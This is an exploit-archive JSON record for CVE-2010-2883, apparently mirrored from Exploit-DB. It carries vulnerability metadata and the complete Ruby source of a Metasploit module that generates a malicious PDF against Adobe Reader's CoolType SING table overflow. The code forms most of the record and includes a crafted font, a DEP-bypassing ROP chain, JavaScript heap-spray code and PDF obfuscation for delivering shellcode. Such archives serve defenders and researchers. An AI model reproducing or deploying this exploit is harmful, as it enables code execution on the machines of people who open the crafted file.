{"exploit":{"id":"EDB-16619","name":"Adobe CoolType - SING Table 'uniqueName' Local Stack Buffer Overflow (Metasploit)","description":"Adobe CoolType - SING Table 'uniqueName' Local Stack Buffer Overflow (Metasploit)","cves":["CVE-2010-2883"],"author":"Metasploit","published":"2010-09-25","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16619","path":"exploits/windows/local/16619.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16619.rb","vulnerabilities":[{"id":"CVE-2010-2883","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010. NOTE: some of these details are obtained from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-2883","cvss":{"version":"3.1","baseScore":7.3,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2010-2883"},"updatedAt":"2025-10-22T00:05:51.427Z","retrievedAt":"2026-11-27T00:09:47.907Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16619.png?v=2","url":"https://exploitbin.com/exploits/EDB-16619","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16619/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16619/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\nrequire 'zlib'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof\n\n\tinclude Msf::Exploit::FILEFORMAT\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Adobe CoolType SING Table \"uniqueName\" Stack Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a vulnerability in the Smart INdependent Glyplets (SING) table\n\t\t\t\thandling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are\n\t\t\t\tassumed to be vulnerable as well.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'Unknown',    # 0day found in the wild\n\t\t\t\t\t'@sn0wfl0w',  # initial analysis\n\t\t\t\t\t'@vicheck',   # initial analysis\n\t\t\t\t\t'jduck'       # Metasploit module\n\t\t\t\t],\n\t\t\t'Version'        => '$Revision: 10477 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2010-2883' ],\n\t\t\t\t\t[ 'OSVDB', '67849'],\n\t\t\t\t\t[ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],\n\t\t\t\t\t[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC'             => 'process',\n\t\t\t\t\t'InitialAutoRunScript' => 'migrate -f',\n\t\t\t\t\t'DisablePayloadHandler' => 'true',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1000,\n\t\t\t\t\t'BadChars' => \"\\x00\",\n\t\t\t\t\t'DisableNops' => true\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd\n\t\t\t\t\t# Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd\n\t\t\t\t\t[ 'Automatic', { }],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Sep 07 2010',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),\n\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\t\tttf_data = make_ttf()\n\n\t\tjs_data = make_js(payload.encoded)\n\n\t\t# Create the pdf\n\t\tpdf = make_pdf(ttf_data, js_data)\n\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}' file...\")\n\n\t\tfile_create(pdf)\n\tend\n\n\tdef make_ttf\n\t\tttf_data = \"\"\n\n\t\t# load the static ttf file\n\n\t\t# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)\n\t\tpath = File.join( Msf::Config.install_root, \"data\", \"exploits\", \"cve-2010-2883.ttf\" )\n\t\tfd = File.open( path, \"rb\" )\n\t\tttf_data = fd.read(fd.stat.size)\n\t\tfd.close\n\n\t\t# Build the SING table\n\t\tsing = ''\n\t\tsing << [\n\t\t\t0, 1,   # tableVersionMajor, tableVersionMinor (0.1)\n\t\t\t0xe01,  # glyphletVersion\n\t\t\t0x100,  # embeddingInfo\n\t\t\t0,      # mainGID\n\t\t\t0,      # unitsPerEm\n\t\t\t0,      # vertAdvance\n\t\t\t0x3a00  # vertOrigin\n\t\t].pack('vvvvvvvv')\n\t\t# uniqueName\n\t\t# \"The uniqueName string must be a string of at most 27 7-bit ASCII characters\"\n\t\t#sing << \"A\" * (0x254 - sing.length)\n\t\tsing << rand_text(0x254 - sing.length)\n\n\t\t# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)\n\t\tsing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')\n\n\t\t# This becomes our new EIP (puts esp to stack buffer)\n\t\tret = 0x4a80cb38 # add ebp, 0x794 / leave / ret\n\t\tsing[0x208, 4] = [ret].pack('V')\n\n\t\t# This becomes the new eip after the first return\n\t\tret = 0x4a82a714\n\t\tsing[0x18, 4] = [ret].pack('V')\n\n\t\t# This becomes the new esp after the first return\n\t\tesp = 0x0c0c0c0c\n\t\tsing[0x1c, 4] = [esp].pack('V')\n\n\t\t# Without the following, sub_801ba57 returns 0.\n\t\tsing[0x24c, 4] = [0x6c].pack('V')\n\n\t\tttf_data[0xec, 4] = \"SING\"\n\t\tttf_data[0x11c, sing.length] = sing\n\n\t\tttf_data\n\tend\n\n\tdef make_js(encoded_payload)\n\n\t\t# The following executes a ret2lib using icucnv36.dll\n\t\t# The effect is to bypass DEP and execute the shellcode in an indirect way\n\t\tstack_data = [\n\t\t\t0x41414141,   # unused\n\t\t\t0x4a8063a5,   # pop ecx / ret\n\t\t\t0x4a8a0000,   # becomes ecx\n\n\t\t\t0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as\n\n\t\t\t0x4a801f90,   # pop eax / ret\n\t\t\t0x4a84903c,   # becomes eax (import for CreateFileA)\n\n\t\t\t# -- call CreateFileA\n\t\t\t0x4a80b692,   # jmp [eax]\n\n\t\t\t0x4a801064,   # ret\n\n\t\t\t0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to \"iso88591\")\n\t\t\t0x10000000,   # second arg  - dwDesiredAccess\n\t\t\t0x00000000,   # third arg   - dwShareMode\n\t\t\t0x00000000,   # fourth arg  - lpSecurityAttributes\n\t\t\t0x00000002,   # fifth arg   - dwCreationDisposition\n\t\t\t0x00000102,   # sixth arg   - dwFlagsAndAttributes\n\t\t\t0x00000000,   # seventh arg - hTemplateFile\n\n\t\t\t0x4a8063a5,   # pop ecx / ret\n\t\t\t0x4a801064,   # becomes ecx\n\n\t\t\t0x4a842db2,   # xchg eax,edi / ret\n\n\t\t\t0x4a802ab1,   # pop ebx / ret\n\t\t\t0x00000008,   # becomes ebx - offset to modify\n\n\t\t\t#\n\t\t\t# This points at a neat-o block of code that ... TBD\n\t\t\t#\n\t\t\t#   and [esp+ebx*2],edi\n\t\t\t#   jne check_slash\n\t\t\t# ret_one:\n\t\t\t#   mov al,1\n\t\t\t#   ret\n\t\t\t# check_slash:\n\t\t\t#   cmp al,0x2f\n\t\t\t#   je ret_one\n\t\t\t#   cmp al,0x41\n\t\t\t#   jl check_lower\n\t\t\t#   cmp al,0x5a\n\t\t\t#   jle check_ptr\n\t\t\t# check_lower:\n\t\t\t#   cmp al,0x61\n\t\t\t#   jl ret_zero\n\t\t\t#   cmp al,0x7a\n\t\t\t#   jg ret_zero\n\t\t\t#   cmp [ecx+1],0x3a\n\t\t\t#   je ret_one\n\t\t\t# ret_zero:\n\t\t\t#   xor al,al\n\t\t\t#   ret\n\t\t\t#\n\n\t\t\t0x4a80a8a6,   # execute fun block\n\n\t\t\t0x4a801f90,   # pop eax / ret\n\t\t\t0x4a849038,   # becomes eax (import for CreateFileMappingA)\n\n\t\t\t# -- call CreateFileMappingA\n\t\t\t0x4a80b692,   # jmp [eax]\n\n\t\t\t0x4a801064,   # ret\n\n\t\t\t0xffffffff,   # arguments to CreateFileMappingA, hFile\n\t\t\t0x00000000,   # lpAttributes\n\t\t\t0x00000040,   # flProtect\n\t\t\t0x00000000,   # dwMaximumSizeHigh\n\t\t\t0x00010000,   # dwMaximumSizeLow\n\t\t\t0x00000000,   # lpName\n\n\t\t\t0x4a8063a5,   # pop ecx / ret\n\t\t\t0x4a801064,   # becomes ecx\n\n\t\t\t0x4a842db2,   # xchg eax,edi / ret\n\n\t\t\t0x4a802ab1,   # pop ebx / ret\n\t\t\t0x00000008,   # becomes ebx - offset to modify\n\n\t\t\t0x4a80a8a6,   # execute fun block\n\n\t\t\t0x4a801f90,   # pop eax / ret\n\t\t\t0x4a849030,   # becomes eax (import for MapViewOfFile\n\n\t\t\t# -- call MapViewOfFile\n\t\t\t0x4a80b692,   # jmp [eax]\n\n\t\t\t0x4a801064,   # ret\n\n\t\t\t0xffffffff,   # args to MapViewOfFile - hFileMappingObject\n\t\t\t0x00000022,   # dwDesiredAccess\n\t\t\t0x00000000,   # dwFileOffsetHigh\n\t\t\t0x00000000,   # dwFileOffsetLow\n\t\t\t0x00010000,   # dwNumberOfBytesToMap\n\n\t\t\t0x4a8063a5,   # pop ecx / ret\n\t\t\t0x4a8a0004,   # becomes ecx - writable pointer\n\n\t\t\t0x4a802196,   # mov [ecx],eax / ret - save map base addr\n\n\t\t\t0x4a8063a5,   # pop ecx / ret\n\t\t\t0x4a801064,   # becomes ecx - ptr to ret\n\n\t\t\t0x4a842db2,   # xchg eax,edi / ret\n\n\t\t\t0x4a802ab1,   # pop ebx / ret\n\t\t\t0x00000030,   # becomes ebx - offset to modify\n\n\t\t\t0x4a80a8a6,   # execute fun block\n\n\t\t\t0x4a801f90,   # pop eax / ret\n\t\t\t0x4a8a0004,   # becomes eax - saved file mapping ptr\n\n\t\t\t0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr\n\n\t\t\t0x4a8063a5,   # pop ecx / ret\n\t\t\t0x4a801064,   # becomes ecx - ptr to ret\n\n\t\t\t0x4a842db2,   # xchg eax,edi / ret\n\n\t\t\t0x4a802ab1,   # pop ebx / ret\n\t\t\t0x00000020,   # becomes ebx - offset to modify\n\n\t\t\t0x4a80a8a6,   # execute fun block\n\n\t\t\t0x4a8063a5,   # pop ecx / ret\n\t\t\t0x4a801064,   # becomes ecx - ptr to ret\n\n\t\t\t0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret\n\n\t\t\t0x4a801f90,   # pop eax / ret\n\t\t\t0x00000034,   # becomes eax\n\n\t\t\t0x4a80d585,   # add eax,edx / ret\n\n\t\t\t0x4a8063a5,   # pop ecx / ret\n\t\t\t0x4a801064,   # becomes ecx - ptr to ret\n\n\t\t\t0x4a842db2,   # xchg eax,edi / ret\n\n\t\t\t0x4a802ab1,   # pop ebx / ret\n\t\t\t0x0000000a,   # becomes ebx - offset to modify\n\n\t\t\t0x4a80a8a6,   # execute fun block\n\n\t\t\t0x4a801f90,   # pop eax / ret\n\t\t\t0x4a849170,   # becomes eax (import for memcpy)\n\n\t\t\t# -- call memcpy\n\t\t\t0x4a80b692,   # jmp [eax]\n\n\t\t\t0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy\n\t\t\t0xffffffff,   # becomes first arg to memcpy (dst)\n\t\t\t0xffffffff,   # becomes second arg to memcpy (src)\n\t\t\t0x00001000,   # becomes third arg to memcpy (length)\n\t\t\t#0x0000258b,   # ??\n\t\t\t#0x4d4d4a8a,   # ??\n\t\t].pack('V*')\n\n\t\tvar_unescape  = rand_text_alpha(rand(100) + 1)\n\t\tvar_shellcode = rand_text_alpha(rand(100) + 1)\n\n\t\tvar_start     = rand_text_alpha(rand(100) + 1)\n\n\t\tvar_s         = 0x10000\n\t\tvar_c         = rand_text_alpha(rand(100) + 1)\n\t\tvar_b         = rand_text_alpha(rand(100) + 1)\n\t\tvar_d         = rand_text_alpha(rand(100) + 1)\n\t\tvar_3         = rand_text_alpha(rand(100) + 1)\n\t\tvar_i         = rand_text_alpha(rand(100) + 1)\n\t\tvar_4         = rand_text_alpha(rand(100) + 1)\n\n\t\tpayload_buf = ''\n\t\tpayload_buf << stack_data\n\t\tpayload_buf << encoded_payload\n\n\t\tescaped_payload = Rex::Text.to_unescape(payload_buf)\n\n\t\tjs = %Q|\nvar #{var_unescape} = unescape;\nvar #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );\nvar #{var_c} = #{var_unescape}( \"%\" + \"u\" + \"0\" + \"c\" + \"0\" + \"c\" + \"%u\" + \"0\" + \"c\" + \"0\" + \"c\" );\nwhile (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};\n#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);\n#{var_b} += #{var_shellcode};\n#{var_b} += #{var_c};\n#{var_d} = #{var_b}.substring(0, #{var_s}/2);\nwhile(#{var_d}.length < 0x80000) #{var_d} += #{var_d};\n#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);\nvar #{var_4} = new Array();\nfor (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+\"s\";\n|\n\n\t\tjs\n\tend\n\n\tdef RandomNonASCIIString(count)\n\t\tresult = \"\"\n\t\tcount.times do\n\t\t\tresult << (rand(128) + 128).chr\n\t\tend\n\t\tresult\n\tend\n\n\tdef ioDef(id)\n\t\t\"%d 0 obj \\n\" % id\n\tend\n\n\tdef ioRef(id)\n\t\t\"%d 0 R\" % id\n\tend\n\n\n\t#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/\n\tdef nObfu(str)\n\t\t#return str\n\t\tresult = \"\"\n\t\tstr.scan(/./u) do |c|\n\t\t\tif rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'\n\t\t\t\tresult << \"#%x\" % c.unpack(\"C*\")[0]\n\t\t\telse\n\t\t\t\tresult << c\n\t\t\tend\n\t\tend\n\t\tresult\n\tend\n\n\n\tdef ASCIIHexWhitespaceEncode(str)\n\t\tresult = \"\"\n\t\twhitespace = \"\"\n\t\tstr.each_byte do |b|\n\t\t\tresult << whitespace << \"%02x\" % b\n\t\t\twhitespace = \" \" * (rand(3) + 1)\n\t\tend\n\t\tresult << \">\"\n\tend\n\n\n\tdef make_pdf(ttf, js)\n\n\t\t#swf_name = rand_text_alpha(8 + rand(8)) + \".swf\"\n\n\t\txref = []\n\t\teol = \"\\n\"\n\t\tendobj = \"endobj\" << eol\n\n\t\t# Randomize PDF version?\n\t\tpdf = \"%PDF-1.5\" << eol\n\t\tpdf << \"%\" << RandomNonASCIIString(4) << eol\n\n\t\t# catalog\n\t\txref << pdf.length\n\t\tpdf << ioDef(1) << nObfu(\"<<\") << eol\n\t\tpdf << nObfu(\"/Pages \") << ioRef(2) << eol\n\t\tpdf << nObfu(\"/Type /Catalog\") << eol\n\t\tpdf << nObfu(\"/OpenAction \") << ioRef(11) << eol\n\t\t# The AcroForm is required to get icucnv36.dll to load\n\t\tpdf << nObfu(\"/AcroForm \") << ioRef(13) << eol\n\t\tpdf << nObfu(\">>\") << eol\n\t\tpdf << endobj\n\n\t\t# pages array\n\t\txref << pdf.length\n\t\tpdf << ioDef(2) << nObfu(\"<<\") << eol\n\t\tpdf << nObfu(\"/MediaBox \") << ioRef(3) << eol\n\t\tpdf << nObfu(\"/Resources \") << ioRef(4) << eol\n\t\tpdf << nObfu(\"/Kids [\") << ioRef(5) << \"]\" << eol\n\t\tpdf << nObfu(\"/Count 1\") << eol\n\t\tpdf << nObfu(\"/Type /Pages\") << eol\n\t\tpdf << nObfu(\">>\") << eol\n\t\tpdf << endobj\n\n\t\t# media box\n\t\txref << pdf.length\n\t\tpdf << ioDef(3)\n\t\tpdf << \"[0 0 595 842]\" << eol\n\t\tpdf << endobj\n\n\t\t# resources\n\t\txref << pdf.length\n\t\tpdf << ioDef(4)\n\t\tpdf << nObfu(\"<<\") << eol\n\t\tpdf << nObfu(\"/Font \") << ioRef(6) << eol\n\t\tpdf << \">>\" << eol\n\t\tpdf << endobj\n\n\t\t# page 1\n\t\txref << pdf.length\n\t\tpdf << ioDef(5) << nObfu(\"<<\") << eol\n\t\tpdf << nObfu(\"/Parent \") << ioRef(2) << eol\n\t\tpdf << nObfu(\"/MediaBox \") << ioRef(3) << eol\n\t\tpdf << nObfu(\"/Resources \") << ioRef(4) << eol\n\t\tpdf << nObfu(\"/Contents [\") << ioRef(8) << nObfu(\"]\") << eol\n\t\tpdf << nObfu(\"/Type /Page\") << eol\n\t\tpdf << nObfu(\">>\") << eol # end obj dict\n\t\tpdf << endobj\n\n\t\t# font\n\t\txref << pdf.length\n\t\tpdf << ioDef(6) << nObfu(\"<<\") << eol\n\t\tpdf << nObfu(\"/F1 \") << ioRef(7) << eol\n\t\tpdf << \">>\" << eol\n\t\tpdf << endobj\n\n\t\t# ttf object\n\t\txref << pdf.length\n\t\tpdf << ioDef(7) << nObfu(\"<<\") << eol\n\t\tpdf << nObfu(\"/Type /Font\") << eol\n\t\tpdf << nObfu(\"/Subtype /TrueType\") << eol\n\t\tpdf << nObfu(\"/Name /F1\") << eol\n\t\tpdf << nObfu(\"/BaseFont /Cinema\") << eol\n\t\tpdf << nObfu(\"/Widths []\") << eol\n\t\tpdf << nObfu(\"/FontDescriptor \") << ioRef(9)\n\t\tpdf << nObfu(\"/Encoding /MacRomanEncoding\")\n\t\tpdf << nObfu(\">>\") << eol\n\t\tpdf << endobj\n\n\t\t# page content\n\t\tcontent = \"Hello World!\"\n\t\tcontent = \"\" +\n\t\t\t\"0 g\" + eol +\n\t\t\t\"BT\" + eol +\n\t\t\t\"/F1 32 Tf\" + eol +\n\t\t\t\"32 Tc\" + eol +\n\t\t\t\"1 0 0 1 32 773.872 Tm\" + eol +\n\t\t\t\"(\" + content + \") Tj\" + eol +\n\t\t\t\"ET\"\n\n\t\txref << pdf.length\n\t\tpdf << ioDef(8) << \"<<\" << eol\n\t\tpdf << nObfu(\"/Length %s\" % content.length) << eol\n\t\tpdf << \">>\" << eol\n\t\tpdf << \"stream\" << eol\n\t\tpdf << content << eol\n\t\tpdf << \"endstream\" << eol\n\t\tpdf << endobj\n\n\t\t# font descriptor\n\t\txref << pdf.length\n\t\tpdf << ioDef(9) << nObfu(\"<<\")\n\t\tpdf << nObfu(\"/Type/FontDescriptor/FontName/Cinema\")\n\t\tpdf << nObfu(\"/Flags %d\" % (2**2 + 2**6 + 2**17))\n\t\tpdf << nObfu(\"/FontBBox [-177 -269 1123 866]\")\n\t\tpdf << nObfu(\"/FontFile2 \") << ioRef(10)\n\t\tpdf << nObfu(\">>\") << eol\n\t\tpdf << endobj\n\n\t\t# ttf stream\n\t\txref << pdf.length\n\t\tcompressed = Zlib::Deflate.deflate(ttf)\n\t\tpdf << ioDef(10) << nObfu(\"<</Length %s/Filter/FlateDecode/Length1 %s>>\" % [compressed.length, ttf.length]) << eol\n\t\tpdf << \"stream\" << eol\n\t\tpdf << compressed << eol\n\t\tpdf << \"endstream\" << eol\n\t\tpdf << endobj\n\n\t\t# js action\n\t\txref << pdf.length\n\t\tpdf << ioDef(11) << nObfu(\"<<\")\n\t\tpdf << nObfu(\"/Type/Action/S/JavaScript/JS \") + ioRef(12)\n\t\tpdf << nObfu(\">>\") << eol\n\t\tpdf << endobj\n\n\t\t# js stream\n\t\txref << pdf.length\n\t\tcompressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))\n\t\tpdf << ioDef(12) << nObfu(\"<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>\" % compressed.length) << eol\n\t\tpdf << \"stream\" << eol\n\t\tpdf << compressed << eol\n\t\tpdf << \"endstream\" << eol\n\t\tpdf << endobj\n\n\t\t###\n\t\t# The following form related data is required to get icucnv36.dll to load\n\t\t###\n\n\t\t# form object\n\t\txref << pdf.length\n\t\tpdf << ioDef(13)\n\t\tpdf << nObfu(\"<</XFA \") << ioRef(14) << nObfu(\">>\") << eol\n\t\tpdf << endobj\n\n\t\t# form stream\n\t\txfa = <<-EOF\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\">\n<config xmlns=\"http://www.xfa.org/schema/xci/2.6/\">\n<present><pdf><interactive>1</interactive></pdf></present>\n</config>\n<template xmlns=\"http://www.xfa.org/schema/xfa-template/2.6/\">\n<subform name=\"form1\" layout=\"tb\" locale=\"en_US\">\n<pageSet></pageSet>\n</subform></template></xdp:xdp>\nEOF\n\n\t\txref << pdf.length\n\t\tpdf << ioDef(14) << nObfu(\"<</Length %s>>\" % xfa.length) << eol\n\t\tpdf << \"stream\" << eol\n\t\tpdf << xfa << eol\n\t\tpdf << \"endstream\" << eol\n\t\tpdf << endobj\n\n\t\t###\n\t\t# end form stuff for icucnv36.dll\n\t\t###\n\n\n\t\t# trailing stuff\n\t\txrefPosition = pdf.length\n\t\tpdf << \"xref\" << eol\n\t\tpdf << \"0 %d\" % (xref.length + 1) << eol\n\t\tpdf << \"0000000000 65535 f\" << eol\n\t\txref.each do |index|\n\t\t\tpdf << \"%010d 00000 n\" % index << eol\n\t\tend\n\n\t\tpdf << \"trailer\" << eol\n\t\tpdf << nObfu(\"<</Size %d/Root \" % (xref.length + 1)) << ioRef(1) << \">>\" << eol\n\n\t\tpdf << \"startxref\" << eol\n\t\tpdf << xrefPosition.to_s() << eol\n\n\t\tpdf << \"%%EOF\" << eol\n\t\tpdf\n\tend\n\nend","sha256":"d8d78f7b643d7c83298e9fb37d79e67131a86720c069e562735b5691f5a75e56","bytes":15016,"fetchedAt":"2026-11-27T00:09:47.874Z","encoding":"utf-8 (display only; download retains original bytes)"}